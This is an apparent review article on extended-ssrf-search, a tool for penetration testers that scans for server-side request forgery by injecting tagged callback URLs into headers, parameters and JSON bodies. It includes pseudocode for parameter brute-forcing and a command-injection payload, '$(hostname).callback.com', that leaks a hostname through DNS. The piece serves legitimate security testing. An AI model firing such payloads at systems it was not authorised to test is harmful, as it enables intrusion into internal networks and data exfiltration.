Back to Articles

Building a Multi-Vector SSRF Scanner: How extended-ssrf-search Tests Every Injection Point

[ View on GitHub ]

Building a Multi-Vector SSRF Scanner: How extended-ssrf-search Tests Every Injection Point

Hook

Server-Side Request Forgery vulnerabilities hide in over a dozen different injection points in a single HTTP request—GET parameters, POST bodies, Host headers, custom headers, and path segments. Testing them all manually is tedious; this tool automates the entire attack surface.

Context

Server-Side Request Forgery (SSRF) remains one of the most impactful web vulnerabilities, allowing attackers to pivot into internal networks, access cloud metadata endpoints, or exfiltrate sensitive data. Unlike reflected XSS or SQL injection where you get immediate feedback in the response, SSRF often requires out-of-band detection—the vulnerable server makes a callback to an attacker-controlled domain, proving the injection worked.

The challenge for security researchers and penetration testers is comprehensiveness. A modern web application might accept dozens of parameters across multiple endpoints, use custom headers for routing or caching, and implement complex JSON-based APIs. Testing each potential injection point manually becomes a multi-hour engagement. Extended-ssrf-search emerged to solve this workflow problem: given a list of target URLs and a callback server, systematically inject test payloads into every conceivable location where SSRF might occur, then correlate successful callbacks back to specific test cases.

Technical Insight

Yes

No

Out-of-band callback

Config Files

URLs, Headers, Params

Config Parser

Target Queue

Multi-Threaded

Scanner

Path Injection

Host Header Injection

Custom Header Injection

GET Param Injection

POST Param Injection

JSON Body Injection

HTTP Request Builder

with Identifiers

Proxy

Enabled?

Proxied Requests

Direct Requests

Target Servers

Callback Server

Burp Collaborator

System architecture — auto-generated

The architecture of extended-ssrf-search revolves around a configuration-driven approach where target URLs, HTTP headers, cookies, and parameters live in separate text files. This design choice prioritizes bulk operations over single-target convenience—you export hundreds of endpoints from Burp Suite's sitemap, feed them into config/urls.txt, and let the scanner work through combinations.

The core scanning logic lives in a multi-threaded request generator that constructs test cases by injecting a callback URL into different parts of the HTTP request. For each target URL, the tool tests:

  1. Path injection: Appending the callback domain to the URL path
  2. Host header replacement: Swapping the legitimate Host header with the callback domain
  3. Custom header injection: Testing headers like X-Forwarded-For, X-Original-URL, X-Rewrite-URL with callback values
  4. GET parameter injection: Either replacing existing parameters or brute-forcing common parameter names with callback payloads
  5. POST parameter injection: Similar to GET, but in the request body
  6. JSON POST body injection: For API endpoints, injecting callbacks into JSON values

What makes this tool particularly clever is its identifier system. Instead of just injecting burpcollaborator.net, it prepends or appends identifiers like target1-get-param-url.burpcollaborator.net. When you check your callback logs and see a DNS lookup for that subdomain, you immediately know which target and which injection method triggered it.

Here's a simplified version of how the parameter brute-forcing works:

# Pseudocode based on the tool's approach
def test_get_parameters(url, callback_domain, param_wordlist, chunk_size):
    chunks = split_into_chunks(param_wordlist, chunk_size)
    
    for chunk in chunks:
        # Build query string with multiple test parameters
        test_params = {}
        for param_name in chunk:
            identifier = f"{get_target_id()}-get-{param_name}"
            test_params[param_name] = f"http://{identifier}.{callback_domain}"
        
        # Send request with chunked parameters
        response = requests.get(url, params=test_params, 
                               headers=custom_headers, 
                               proxies=proxy_config)
        
        # No need to analyze response - wait for callback
        log_request(url, "GET-PARAMS", test_params.keys())

The chunk size configuration is critical. If you test 500 parameters simultaneously, you'll likely hit request size limits or WAF rules. The tool defaults to testing parameters in smaller batches (configurable in the config), balancing thoroughness with HTTP practicality.

Another architectural highlight is the OS command injection detection layer. Beyond standard URL injection, the tool can test payloads like $(hostname).callback.com or backtick-wrapped commands. If the target application is vulnerable to command injection within a parameter that's later used in a server-side request (like curl or wget commands), the DNS exfiltration will reveal both the vulnerability and potentially the hostname of the internal server.

The threading model deserves attention. The tool uses Python's threading to parallelize requests across targets, not across test cases for a single target. This means if you have 100 URLs to test, multiple threads will work through them concurrently, but each URL's full test suite runs sequentially. This design prevents overwhelming individual applications with concurrent malformed requests while still achieving reasonable total scan time.

For integration with existing workflows, the tool supports routing all traffic through a proxy (typically Burp Suite). This serves two purposes: first, it lets you review and refine the actual HTTP requests being sent; second, Burp's logger becomes a backup correlation mechanism if your callback tracking fails. You can grep Burp's HTTP history for requests containing specific identifiers.

The payload shuffling feature is particularly useful for distributed testing scenarios. If you're scanning the same target list from multiple machines (common in bug bounty programs where speed matters), enabling shuffle randomizes the order of tests. This prevents multiple scanners from hammering the same endpoints simultaneously and distributes the load more naturally.

Gotcha

The biggest limitation is the complete absence of command-line arguments. Every configuration option—target URLs, headers, cookies, parameters to test, callback domain, chunk sizes, thread counts—requires editing text files in the config/ directory. For one-off scans or CI/CD integration, this becomes painful. You can't simply run python scanner.py --url https://example.com --callback burp.oastify.com. Instead, you're editing urls.txt, saving, running, then cleaning up afterward. This design assumes a specific workflow where you maintain persistent configuration files, which works for recurring penetration tests but fails for ad-hoc testing.

The tool also requires external callback infrastructure. Unlike some scanners that can detect blind SSRF through timing attacks or response differences, extended-ssrf-search is entirely dependent on out-of-band detection. If you don't have access to Burp Collaborator, a self-hosted callback server, or services like Interactsh, the tool is useless. There's no built-in callback server or polling mechanism—it fires requests and assumes you're monitoring DNS/HTTP logs elsewhere.

The parameter wordlist is another constraint. The included list focuses on high-probability parameter names (url, dest, redirect, etc.), but many applications use domain-specific parameters. If your target uses internalApiEndpoint as a parameter name, you'll need to manually add it to the wordlist. There's no dynamic parameter discovery from responses or JavaScript files—it's purely brute-force based on the provided list.

Verdict

Use if: You're conducting security assessments on large web applications with dozens or hundreds of endpoints, you have reliable access to out-of-band callback infrastructure (Burp Collaborator, Interactsh, or self-hosted), and you need systematic coverage across all SSRF injection vectors with clear correlation between callbacks and test cases. This tool excels in penetration testing engagements where you can configure it once and run it repeatedly against evolving target lists. Skip if: You need quick, one-off SSRF tests against individual endpoints, prefer CLI-driven tools that integrate into shell scripts or CI/CD pipelines, or lack out-of-band detection capabilities. For simpler workflows, ffuf with webhook integrations or Burp Suite's built-in scanner will be faster to deploy despite less comprehensive coverage.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/developer-tools/damian89-extended-ssrf-search.svg)](https://starlog.is/api/badge-click/developer-tools/damian89-extended-ssrf-search)